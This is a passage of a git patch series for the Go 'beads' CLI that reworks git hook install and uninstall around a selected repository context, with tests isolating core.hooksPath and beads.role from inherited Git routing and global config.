git hooks path: %w", err) } @@ -1425,12 +1498,30 @@ func configureBeadsHooksPath() error { return nil } +func uninstallStandaloneHooks() error { + selected, err := resolveStandaloneHooksContext() + if err != nil { + return err + } + return uninstallHooksAt(selected.paths.HooksDir, func() error { + if selected.paths.CommonDir == "" { + return nil // Absolute-path fallback has no repository config authority. + } + return resetHooksPathAt(selected.paths.MainRepoRoot, selected.paths.CommonDir, + doctor.BeadsManagedStorageHooksDir(), selected.env) + }) +} + func uninstallHooks() error { // Get hooks directory from common git dir (hooks are shared across worktrees) hooksDir, err := git.GetGitHooksDir() if err != nil { return err } + return uninstallHooksAt(hooksDir, resetHooksPathIfBeadsManaged) +} + +func uninstallHooksAt(hooksDir string, reset func() error) error { hookNames := []string{"pre-commit", "post-merge", "pre-push", "post-checkout", "prepare-commit-msg"} for _, hookName := range hookNames { @@ -1484,7 +1575,7 @@ func uninstallHooks() error { // hook files themselves are removed. A failure here must not be a // scrolling stderr warning — bd hooks uninstall must not report success // while beads-managed config is still left behind (GH#4440). - if err := resetHooksPathIfBeadsManaged(); err != nil { + if err := reset(); err != nil { return fmt.Errorf("hook files removed, but failed to reset beads-managed git config: %w", err) } @@ -1492,7 +1583,8 @@ func uninstallHooks() error { } // resetHooksPathIfBeadsManaged unsets core.hooksPath if it points to a -// beads-managed hooks directory (.beads/hooks or .beads-hooks), and unsets +// beads-managed hooks directory (.beads/hooks, .beads-hooks, or the resolved +// out-of-repo /hooks storage target), and unsets // beads.role. beads.role marks a repo as beads-managed independent of // core.hooksPath, so it is cleared unconditionally here rather than gated on // the hooksPath match — otherwise an uninstall that runs after core.hooksPath @@ -1519,10 +1611,18 @@ func resetHooksPathIfBeadsManaged() error { if commonDir == "" { return fmt.Errorf("empty Git common directory for role reset") } - configEnv := gitenv.ScrubRouting(os.Environ()) + return resetHooksPathAt(repoRoot, commonDir, doctor.BeadsManagedStorageHooksDir(), + gitenv.ScrubRouting(os.Environ())) +} + +func resetHooksPathAt(repoRoot, commonDir, storageHooksDir string, configEnv []string) error { // beads.role is an authority value, unlike core.hooksPath, so its own // commands drop inherited suppression too (see the role pair below). - roleConfigEnv := gitenv.ScrubRoutingAndSuppression(os.Environ()) + // Scrubbing suppression from configEnv rather than os.Environ() leaves a + // caller's captured environment otherwise intact. Suppression controls are + // themselves routing keys, so for a configEnv that ScrubRouting already + // produced the two spellings drop exactly the same entries. + roleConfigEnv := gitenv.ScrubRoutingAndSuppression(configEnv) var failures []string cmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--get", "core.hooksPath") @@ -1531,10 +1631,11 @@ func resetHooksPathIfBeadsManaged() error { if out, err := cmd.Output(); err == nil { hooksPath := strings.TrimSpace(string(out)) // Matches both relative (legacy) and absolute (GH#2414) beads hooks - // paths, symlink-resolving the absolute forms. Shared with - // doctor.CheckHooksPath/FixHooksPath so uninstall and `bd doctor --fix` - // cannot disagree about what "beads-managed" means. - if doctor.IsBeadsManagedHooksPath(repoRoot, hooksPath) { + // paths plus the out-of-repo /hooks directory that + // `bd hooks install --beads` configures, symlink-resolving the absolute + // forms. Shared with doctor.CheckHooksPath/FixHooksPath so uninstall and + // `bd doctor --fix` cannot disagree about what "beads-managed" means. + if doctor.IsBeadsManagedHooksPath(repoRoot, storageHooksDir, hooksPath) { unsetCmd := exec.Command("git", "--git-dir", commonDir, "config", "--local", "--unset", "core.hooksPath") unsetCmd.Dir = repoRoot unsetCmd.Env = configEnv diff --git a/cmd/bd/hooks_worktree_test.go b/cmd/bd/hooks_worktree_test.go index 0be23661a..f0e792e35 100644 --- a/cmd/bd/hooks_worktree_test.go +++ b/cmd/bd/hooks_worktree_test.go @@ -8,8 +8,11 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/cmd/bd/doctor" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/utils" "github.com/stretchr/testify/require" ) @@ -370,6 +373,209 @@ func readInitHooksFile(t *testing.T, path string) []byte { return data } +func preserveStandaloneHookInputs(t *testing.T, paths ...string) { + t.Helper() + beforeEnv := os.Environ() + t.Cleanup(func() { require.Equal(t, beforeEnv, os.Environ()) }) + for _, path := range paths { + before := readInitHooksFile(t, path) + t.Cleanup(func() { require.Equal(t, before, readInitHooksFile(t, path), "changed %s", path) }) + } +} + +func setStandaloneHookMode(t *testing.T, mode string) { + t.Helper() + oldJSON := jsonOutput + jsonOutput = false // These command fixtures assert the human-readable stderr contract. + t.Cleanup(func() { jsonOutput = oldJSON }) + for _, flag := range []string{"force", "shared", "chain", "beads"} { + f := hooksInstallCmd.Flags().Lookup(flag) + old, changed := f.Value.String(), f.Changed + t.Cleanup(func() { + require.NoError(t, hooksInstallCmd.Flags().Set(flag, old)) + f.Changed = changed + }) + value := "false" + if flag == mode { + value = "true" + } + require.NoError(t, hooksInstallCmd.Flags().Set(flag, value)) + } +} + +func TestStandaloneHookCommandsUseSelectedContext(t *testing.T) { + for _, name := range []string{"regular", "linked", "private", "shared", "beads", "bare_external", "inline", "config_file", "config_lock"} { + t.Run(name, func(t *testing.T) { + selected, decoy, storage, common := newInitHooksFixture(t) + require.True(t, utils.PathsEqual(decoy, git.GetRepoRoot()), "seed stale decoy cache") + cwd, mainRoot := decoy, filepath.Dir(common) + if name == "regular" { + selected = mainRoot + } + private := initExcludeGit(t, selected, "rev-parse", "--absolute-git-dir") + if name == "bare_external" { + root := t.TempDir() + common, selected = filepath.Join(root, "selected bare.git"), filepath.Join(root, "external tree") + initExcludeGit(t, root, "init", "--bare", common) + require.NoError(t, os.Mkdir(selected, 0755)) + cwd, mainRoot, private = selected, selected, filepath.Join("..", "selected bare.git") + } + t.Chdir(cwd) + t.Setenv("GIT_DIR", private) + t.Setenv("GIT_WORK_TREE", selected) + t.Setenv("BEADS_DIR", storage) + require.NoError(t, os.WriteFile(filepath.Join(storage, "metadata.json"), []byte("{}\n"), 0600)) + destination := filepath.Join(mainRoot, ".beads", "hooks") + initExcludeGit(t, cwd, "--git-dir", common, "config", "--local", "core.hooksPath", destination) + initExcludeGit(t, cwd, "--git-dir", common, "config", "--local", "beads.role", "contributor") + if name == "private" { + destination = t.TempDir() + initExcludeGit(t, selected, "config", "extensions.worktreeConfig", "true") + initExcludeGit(t, selected, "config", "--worktree", "core.hooksPath", destination) + preserveStandaloneHookInputs(t, filepath.Join(private, "config.worktree")) + } + if name == "shared" { + destination = filepath.Join(mainRoot, ".beads-hooks") + } else if name == "beads" { + destination = filepath.Join(storage, "hooks") + } + decoyHook := filepath.Join(decoy, ".git", "hooks", "pre-commit") + require.NoError(t, os.WriteFile(decoyHook, []byte("#!/bin/sh\n"+generateHookSection("pre-commit")), 0755)) + if name == "inline" { + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_CONFIG_KEY_0", "core.hooksPath") + t.Setenv("GIT_CONFIG_VALUE_0", filepath.Dir(decoyHook)) + } + if name == "config_file" { + initExcludeGit(t, decoy, "config", "--local", "core.hooksPath", filepath.Dir(decoyHook)) + t.Setenv("GIT_CONFIG", filepath.Join(decoy, ".git", "config")) + } + preserveStandaloneHookInputs(t, decoyHook, filepath.Join(decoy, ".git", "config"), filepath.Join(decoy, ".git", "index")) + setStandaloneHookMode(t, name) + require.NoError(t, hooksInstallCmd.RunE(hooksInstallCmd, nil)) + require.Contains(t, string(readInitHooksFile(t, filepath.Join(destination, "pre-commit"))), hookSectionBeginPrefix) + if name == "shared" || name == "beads" { + got := initExcludeGit(t, cwd, "--git-dir", common, "config", "--local", "--get", "core.hooksPath") + require.True(t, utils.PathsEqual(destination, got), "selected hooks path = %q, want %q", got, destination) + } + if name == "config_lock" { + require.NoError(t, os.WriteFile(filepath.Join(common, "config.lock"), []byte("owned lock"), 0600)) + var err error + stderr := captureStderr(t, func() { err = hooksUninstallCmd.RunE(hooksUninstallCmd, nil) }) + require.Equal(t, &exitError{Code: 1}, err) + require.Contains(t, stderr, "failed to reset") + return + } + require.NoError(t, hooksUninstallCmd.RunE(hooksUninstallCmd, nil)) + _, err := os.Stat(filepath.Join(destination, "pre-commit")) + require.ErrorIs(t, err, os.ErrNotExist) + query := exec.Command("git", "--git-dir", common, "config", "--local", "--get", "beads.role") + query.Dir, query.Env = cwd, gitenv.ScrubRouting(os.Environ()) + var exit *exec.ExitError + require.ErrorAs(t, query.Run(), &exit) + require.Equal(t, 1, exit.ExitCode(), "selected local role must be absent") + if name == "beads" { + // The value install wrote is the out-of-repo /hooks + // directory whose hook files uninstall just deleted. Leaving it + // configured keeps .git/hooks shadowed by an emptied directory, + // i.e. every hook silently disabled while beads-managed config is + // still installed — the GH#4440 contract this command enforces. + pathQuery := exec.Command("git", "--git-dir", common, "config", "--local", "--get", "core.hooksPath") + pathQuery.Dir, pathQuery.Env = cwd, gitenv.ScrubRouting(os.Environ()) + var pathExit *exec.ExitError + require.ErrorAs(t, pathQuery.Run(), &pathExit) + require.Equal(t, 1, pathExit.ExitCode(), "out-of-storage hooks path must be cleared, not left behind") + } + require.True(t, utils.PathsEqual(decoy, git.GetRepoRoot()), "fresh commands must leave the legacy cache untouched") + }) + } +} + +// TestStandaloneBeadsUninstallLeavesHooksPathWhenResolutionDrifts records an +// accepted limitation, not a desired behavior. The shared predicate recognizes the +// directory `bd hooks install --beads` would configure *right now* +// (doctor.BeadsManagedStorageHooksDir -> beads.FindBeadsDir), not the value install +// actually wrote, and every FindBeadsDir arm reads live inputs: BEADS_DIR, the +// .beads/redirect contents, storage existence plus project files, and the process +// cwd. core.hooksPath lives in the shared common dir, so an installing shell with +// BEADS_DIR set and an uninstalling shell without it see the same configured value +// and resolve different storage. Uninstall then deletes the hook files and leaves +// core.hooksPath pointing at the emptied directory — .git/hooks stays shadowed, +// which is the GH#4440 shape the clearance exists to prevent. +// +// Tracked in bd-s76jm: record what install configured (a local beads.hooksPath key) +// and match the record, with the current recomputation as the fallback. When that +// lands this expectation flips to "cleared" and this test becomes its +// counterfactual. +func TestStandaloneBeadsUninstallLeavesHooksPathWhenResolutionDrifts(t *testing.T) { + selected, decoy, storage, common := newInitHooksFixture(t) + require.True(t, utils.PathsEqual(decoy, git.GetRepoRoot()), "seed stale decoy cache") + mainRoot := filepath.Dir(common) + private := initExcludeGit(t, selected, "rev-parse", "--absolute-git-dir") + t.Chdir(decoy) + t.Setenv("GIT_DIR", private) + t.Setenv("GIT_WORK_TREE", selected) + t.Setenv("BEADS_DIR", storage) + require.NoError(t, os.WriteFile(filepath.Join(storage, "metadata.json"), []byte("{}\n"), 0600)) + destination := filepath.Join(storage, "hooks") + initExcludeGit(t, decoy, "--git-dir", common, "config", "--local", "core.hooksPath", + filepath.Join(mainRoot, ".beads", "hooks")) + setStandaloneHookMode(t, "beads") + require.NoError(t, hooksInstallCmd.RunE(hooksInstallCmd, nil)) + require.Contains(t, string(readInitHooksFile(t, filepath.Join(destination, "pre-commit"))), hookSectionBeginPrefix) + require.True(t, utils.PathsEqual(destination, readSelectedHooksPath(t, decoy, common)), + "install must configure the out-of-repo storage hooks directory") + + // Same repository and same configured value; only the resolution inputs move. + require.NoError(t, os.Unsetenv("BEADS_DIR")) + require.NotEqual(t, destination, doctor.BeadsManagedStorageHooksDir(), + "precondition: cleanup must no longer re-derive the value install wrote") + + require.NoError(t, hooksUninstallCmd.RunE(hooksUninstallCmd, nil)) + _, err := os.Stat(filepath.Join(destination, "pre-commit")) + require.ErrorIs(t, err, os.ErrNotExist, "uninstall still deletes the hook files it can no longer recognize") + require.True(t, utils.PathsEqual(destination, readSelectedHooksPath(t, decoy, common)), + "known gap (bd-s76jm): the configured value survives an install/uninstall resolution drift") +} + +// readSelectedHooksPath returns the selected repository's local core.hooksPath, +// read through the common dir with routing overrides dropped, exactly as +// resetHooksPathAt reads it. +func readSelectedHooksPath(t *testing.T, workDir, commonDir string) string { + t.Helper() + return initExcludeGit(t, workDir, "--git-dir", commonDir, "config", "--local", "--get", "core.hooksPath") +} + +// TestStandaloneHooksWarnOnEffectivePathDivergence pins the warning that names +// both hook paths when they disagree. install/uninstall act on the selected, +// config-scrubbed directory, while every status and execution reader +// (bd hooks list, bd doctor, runChainedHook) still resolves hooks through the +// inherited context — and git itself honors the inherited core.hooksPath. A +// bare success would leave the user comparing an install that reported one +// directory against a status that reports another, with nothing saying why. +func TestStandaloneHooksWarnOnEffectivePathDivergence(t *testing.T) { + selected, decoy, _, common := newInitHooksFixture(t) + mainRoot := filepath.Dir(common) + private := initExcludeGit(t, selected, "rev-parse", "--absolute-git-dir") + t.Chdir(decoy) + t.Setenv("GIT_DIR", private) + t.Setenv("GIT_WORK_TREE", selected) + destination := filepath.Join(mainRoot, ".beads", "hooks") + initExcludeGit(t, decoy, "--git-dir", common, "config", "--local", "core.hooksPath", destination) + injected := filepath.Join(decoy, ".git", "hooks") + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_CONFIG_KEY_0", "core.hooksPath") + t.Setenv("GIT_CONFIG_VALUE_0", injected) + setStandaloneHookMode(t, "") + + var err error + stderr := captureStderr(t, func() { err = hooksInstallCmd.RunE(hooksInstallCmd, nil) }) + require.NoError(t, err) + require.Contains(t, stderr, injected, "warning must name the effective inherited hooks directory") + require.Contains(t, stderr, destination, "warning must name the selected directory bd operated on") + require.Contains(t, string(readInitHooksFile(t, filepath.Join(destination, "pre-commit"))), hookSectionBeginPrefix) +} + func TestInitHooksPreservesManagedDirectoryAliases(t *testing.T) { for _, managed := range []string{".beads/hooks", ".beads-hooks"} { t.Run(managed, func(t *testing.T) { diff --git a/cmd/bd/uninstall_config_test.go b/cmd/bd/uninstall_config_test.go index cd500ae3c..e0ff497dc 100644 --- a/cmd/bd/uninstall_config_test.go +++ b/cmd/bd/uninstall_config_test.go @@ -10,8 +10,46 @@ import ( "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" + "github.com/steveyegge/beads/internal/utils" + "github.com/stretchr/testify/require" ) +func TestStandaloneHooksAbsoluteFallbackHasNoConfigAuthority(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true // Reproduce the prior-command state observed in the full CI suite. + t.Cleanup(func() { jsonOutput = oldJSON }) + for _, name := range []string{"nonrepo", "bare"} { + t.Run(name, func(t *testing.T) { + _, decoy, _, _ := newInitHooksFixture(t) + require.True(t, utils.PathsEqual(decoy, git.GetRepoRoot()), "seed stale config authority") + workDir, hooksDir := t.TempDir(), t.TempDir() + if name == "bare" { + initExcludeGit(t, workDir, "init", "--bare") + } + for _, key := range []string{"GIT_DIR", "GIT_WORK_TREE", "GIT_INDEX_FILE"} { + t.Setenv(key, "") + require.NoError(t, os.Unsetenv(key)) + } + initExcludeGit(t, decoy, "config", "--global", "core.hooksPath", hooksDir) + t.Chdir(workDir) + preserveStandaloneHookInputs(t, filepath.Join(decoy, ".git", "config"), filepath.Join(os.Getenv("HOME"), ".gitconfig")) + for _, mode := range []string{"shared", "beads"} { + setStandaloneHookMode(t, mode) + var err error + stderr := captureStderr(t, func() { err = hooksInstallCmd.RunE(hooksInstallCmd, nil) }) + require.Equal(t, &exitError{Code: 1}, err) + require.Contains(t, stderr, "require a working Git repository") + require.NoFileExists(t, filepath.Join(hooksDir, "pre-commit")) + } + setStandaloneHookMode(t, "") + require.NoError(t, hooksInstallCmd.RunE(hooksInstallCmd, nil)) + require.Contains(t, string(readInitHooksFile(t, filepath.Join(hooksDir, "pre-commit"))), hookSectionBeginPrefix) + require.NoError(t, hooksUninstallCmd.RunE(hooksUninstallCmd, nil)) + require.NoFileExists(t, filepath.Join(hooksDir, "pre-commit")) + }) + } +} + // TestUninstallHooksUnsetsBeadsRole verifies AC2: bd hooks uninstall clears // beads.role in addition to core.hooksPath, so a manual `rm -rf .beads/` // followed by a proper uninstall doesn't leave stale beads-managed git diff --git a/internal/git/gitdir.go b/internal/git/gitdir.go index 681b2c035..f7464bfe7 100644 --- a/internal/git/gitdir.go +++ b/internal/git/gitdir.go @@ -279,6 +279,32 @@ func GetGitHooksDir() (string, error) { return gitHooksDir(exec.Command("git", "config", "--get", "core.hooksPath"), getGitContext) } +// GetGitHooksDirFrom resolves a fresh hook path without reading the legacy cache. +// Like GetGitHooksDir, an absolute configured path needs no working repository. +// Routing and supplied env are honored unchanged; tilde uses the process home. +func GetGitHooksDirFrom(workDir string, env []string) (string, error) { + if workDir == "" { + return "", fmt.Errorf("hooks path requires a working directory") + } + workDir, err := filepath.Abs(workDir) + if err != nil { + return "", err + } + workDir, err = filepath.EvalSymlinks(workDir) + if err != nil { + return "", fmt.Errorf("resolve hooks working directory: %w", err) + } + if canonical := canonicalizeCase(workDir); canonical != "" { + workDir = canonical + } + cmd := exec.Command("git", "config", "--get", "core.hooksPath") + cmd.Dir, cmd.Env = workDir, env + return gitHooksDir(cmd, func() (*gitContext, error) { + ctx := loadGitContext(workDir, env) + return &ctx, ctx.err + }) +} + func gitHooksDir(cmd *exec.Cmd, context func() (*gitContext, error)) (string, error) { // Respect core.hooksPath if configured. // This is used by beads' Dolt backend (hooks installed to .beads/hooks/). diff --git a/internal/git/gitdir_test.go b/internal/git/gitdir_test.go index bf8ea3b13..3301366e1 100644 --- a/internal/git/gitdir_test.go +++ b/internal/git/gitdir_test.go @@ -197,6 +197,10 @@ func TestResolveHooksContext(t *testing.T) { check := func(t *testing.T, dir string, env []string, repo, hooks string) HooksContext { t.Helper() got, err := ResolveHooksContext(dir, env) + fresh, freshErr := GetGitHooksDirFrom(dir, env) + if freshErr != nil || fresh != hooks { + t.Errorf("fresh lazy hooks = %q, %v; want %q", fresh, freshErr, hooks) + } want := HooksContext{HooksDir: hooks, CommonDir: filepath.Join(canonical(selected), ".git"), RepoRoot: canonical(repo), MainRepoRoot: canonical(selected)} if err != nil || got != want { t.Errorf("selected context = %+v, %v; want %+v", got, err, want) @@ -319,6 +323,12 @@ func TestResolveHooksContext(t *testing.T) { if err != nil || got != absolute { t.Fatalf("lazy absolute hooks = %q, %v; want %q", got, err, absolute) } + for _, dir := range []string{nonrepo, bare} { + fresh, err := GetGitHooksDirFrom(dir, cleanEnv) + if err != nil || fresh != absolute { + t.Errorf("fresh absolute hooks from %q = %q, %v", dir, fresh, err) + } + } }) for name, dir := range map[string]string{"empty_workdir": "", "nonrepo": nonrepo, "bare": bare} { t.Run(name, func(t *testing.T) { diff --git a/internal/storage/domain/git/git_test.go b/internal/storage/domain/git/git_test.go index 5d5c1bb85..8c368ec53 100644 --- a/internal/storage/domain/git/git_test.go +++ b/internal/storage/domain/git/git_test.go @@ -112,9 +112,10 @@ func (s *testSuite) TestConfig_ReadFailuresAreNotMissing() { s.Require().Error(roleErr) s.ErrorAs(roleErr, &exitErr) } else if tc.name == "invalid_routing_boolean" { - _, found, roleErr := domain.NewGitUseCase(s.tmpDir, s.repo).BeadsRole(s.Ctx()) + role, found, roleErr := domain.NewGitUseCase(s.tmpDir, s.repo).BeadsRole(s.Ctx()) s.Require().NoError(roleErr) s.False(found) + s.Empty(role) } }) } From ced3dfe220428b61e52bd9c29f83803b339edcee Mon Sep 17 00:00:00 2001 From: Jim Wordelman Date: Tue, 29 Sep 2026 13:26:35 -0700 Subject: [PATCH 239/624] fix: isolate 2 doctor role tests from global git beads.role (#6247) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix: isolate 2 doctor role tests from global git beads.role (refs be-klbl6) TestCheckBeadsRole_NotConfigured and TestCheckBeadsRole_NotGitRepo fail when a global `git config --global beads.role` is set on the host, since `git config --get` reads global/system scope regardless of whether the target path is a git repo. Isolate via GIT_CONFIG_GLOBAL/GIT_CONFIG_SYSTEM pointed at os.DevNull. This commit originally also cleared the ambient BEADS_ACTOR in three cmd/bd tests (TestCollectViperEntriesWithEnvOverride and the two TestPrepareSelectedCommandContext_* tests). main has since fixed those itself (06b3320a6, and clearActorEnv in context_binding_test.go), so that half was dropped when rebasing onto main. Test-isolation only; no production code changed. * docs(release-gates): PASS 7/7 — be-1wwre (ambient BEADS_ACTOR / global git beads.role leak into 5 tests) * chore: remove leaked internal release-gate doc from PR branch release-gates/be-1wwre-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 * fix(doctor): isolate the 2 role tests via HOME/XDG, not GIT_CONFIG_* The role reads now scrub every GIT_CONFIG* entry from the subprocess environment (gitenv.ScrubRoutingAndSuppression, landed in #6454/#6461), so the GIT_CONFIG_GLOBAL/GIT_CONFIG_SYSTEM=/dev/null suppression this PR originally used never reaches git and the two tests still read the ambient global beads.role. Redirect the config search path instead, matching the idiom TestCheckBeadsRoleIgnoresInheritedRouting already uses in this file. Adopt-pr rebase repair (base cefcabb1e). Review iteration 1 (both nits, non-gating; scorecard 1000/1000 approve): - Extract the repeated 4-line preamble into isolateGlobalGitConfig(t), which returns the temp home, and call it from all three sites. The preamble went from 3 copies to 1; TestCheckBeadsRoleIgnoresInheritedRouting keeps its `home` for the .gitconfig/nondefault fixtures it writes. - Record the system-scope residual in the helper doc comment: HOME/XDG redirection cannot close /etc/gitconfig (or PROGRAMDATA), and ScrubRoutingAndSuppression takes GIT_CONFIG_NOSYSTEM with it, so no env-based way to close system scope exists from a test in this package. Two deviations from the reviewer's prescription, both measured: - The helper lives in role_test.go, not beside newGitRepo in git_repo_template_test.go as prescribed. All three identical sites are in role_test.go, and that file's own TestNewGitRepo_UsesRepoLocalHooksPathDespiteGlobalConfig (:105) has a deliberately different preamble - no USERPROFILE, and GIT_CONFIG_GLOBAL pointed at a writable fixture so it can write a global config - so it must not adopt the helper. Placing the helper there would leave a non-adopting neighbour in the helper's own file, manufacturing the drift the nit targets. - The doc comment scopes the NOSYSTEM claim to ScrubRoutingAndSuppression rather than "the scrub". ScrubRouting (keepSuppression=true) retains the suppression trio - routing.go:121 short-circuits the isConfigSuppression exemption only when keepSuppression is false - as bare_parent_fallback_test.go:175 documents. Measured both arms: ScrubRoutingAndSuppression drops NOSYSTEM/GLOBAL/SYSTEM and keeps HOME/USERPROFILE/XDG_CONFIG_HOME; ScrubRouting keeps all three. Behaviour-preserving and non-vacuous: cmd/bd/doctor is 885P/4F/15S, the same 4-name pre-existing FAIL set as the pre-refactor head; neutering the helper body reds exactly 5 cells (both targets plus absent/nonrepository/default_global) while repository/inline/invalid stay green. --------- Co-authored-by: Julian Knutsen Co-authored-by: Gas City Merge Queue --- cmd/bd/doctor/role_test.go | 35 +++++++++++++++++++++++++++++++---- 1 file changed, 31 insertions(+), 4 deletions(-) diff --git a/cmd/bd/doctor/role_test.go b/cmd/bd/doctor/role_test.go index b51a6ee0b..5ec4ca071 100644 --- a/cmd/bd/doctor/role_test.go +++ b/cmd/bd/doctor/role_test.go @@ -10,7 +10,32 @@ import ( "github.com/steveyegge/beads/internal/gitenv" ) +// isolateGlobalGitConfig redirects git's config search path to a fresh temp home +// so an ambient global `git config --global beads.role` cannot reach the role +// checks, and returns that home. +// +// The role reads run git with gitenv.ScrubRoutingAndSuppression, which strips +// every GIT_CONFIG* entry from the subprocess environment, so the usual +// GIT_CONFIG_GLOBAL=/dev/null suppression cannot work here — the search path +// itself has to move. System scope (/etc/gitconfig, or PROGRAMDATA on Windows) +// stays visible either way: that scrub takes GIT_CONFIG_NOSYSTEM with it, so no +// env-based way to close system scope exists from a test in this package. It is +// inert for beads.role today and the limitation is shared with every caller on +// this boundary; only a production-side config-scope override could close it. +func isolateGlobalGitConfig(t *testing.T) string { + t.Helper() + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("USERPROFILE", home) + t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, ".config")) + return home +} + func TestCheckBeadsRole_NotConfigured(t *testing.T) { + // Isolate from ambient global git config (e.g. a developer machine with + // `git config --global beads.role contributor` set). + isolateGlobalGitConfig(t) + // Create a temp directory with git init but no beads.role config tmpDir := newGitRepo(t) @@ -89,6 +114,11 @@ func TestCheckBeadsRole_InvalidValue(t *testing.T) { } func TestCheckBeadsRole_NotGitRepo(t *testing.T) { + // Isolate from ambient global git config: "git config --get" reads global + // scope even outside a git repo, so without this an ambient + // `git config --global beads.role` leaks into a check that should be N/A. + isolateGlobalGitConfig(t) + tmpDir, err := os.MkdirTemp("", "beads-role-test") if err != nil { t.Fatal(err) @@ -143,10 +173,7 @@ func TestCheckBeadsRoleIgnoresInheritedRouting(t *testing.T) { {"default_global", "", "contributor", StatusOK, "Configured as contributor"}, } { t.Run(tc.name, func(t *testing.T) { - home := t.TempDir() - t.Setenv("HOME", home) - t.Setenv("USERPROFILE", home) - t.Setenv("XDG_CONFIG_HOME", filepath.Join(home, ".config")) + home := isolateGlobalGitConfig(t) if tc.global != "" { if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\nrole = "+tc.global+"\n"), 0600); err != nil { t.Fatal(err) From 43a526b8281378a4c1fa23d1bd211ea7109de229 Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Tue, 29 Sep 2026 14:38:18 -0600 Subject: [PATCH 240/624] fix(make): check docs against the BUILD_DIR binary (#6318) Pass the just-built binary to the flag checker when BUILD_DIR is overridden. Preserve direct checker invocation, documentation pin precedence, and the separately owned build-operand quoting work in PR5667. Fixes #6197 Reported-by: bee-ghosttrack Bead: saa-cgh.88 Agent-Signature: unknown-model/unknown-reasoning Co-authored-by: Gas City Adopt-PR --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index ac0d9f0dd..94cf54e85 100644 --- a/Makefile +++ b/Makefile @@ -378,7 +378,7 @@ fmt-check: check-docs: @echo "Building bd for docs checks..." @CGO_ENABLED=0 go build -tags "$(BUILD_TAGS)" -ldflags="-X main.Build=$(GIT_BUILD)" -o "$(BUILD_DIR)/bd" ./cmd/bd - @./scripts/check-doc-flags.sh ./bd + @./scripts/check-doc-flags.sh "$(BUILD_DIR)/bd" @./scripts/check-doc-freshness.sh @go test -tags=gms_pure_go ./test/docsync From beed11c7f4d314b0e2a039b58d90c9c4beec2a1f Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Tue, 29 Sep 2026 17:54:33 -0600 Subject: [PATCH 241/624] fix(init): use selected hook context in embedded initialization (#6464) * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): isolate role commands from Git routing (saa-cgh.99) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6357. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(config): explain role command routing policy (saa-cgh.99) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): isolate role configuration from inherited Git routing (saa-cgh.109.3) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): use the selected origin in contributor setup (saa-cgh.109.7) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): isolate Git writes in planning repositories (saa-cgh.109.9) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(init): retain inherited planning commit author (saa-cgh.109.9) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(init): align embedded role gates with selected Git 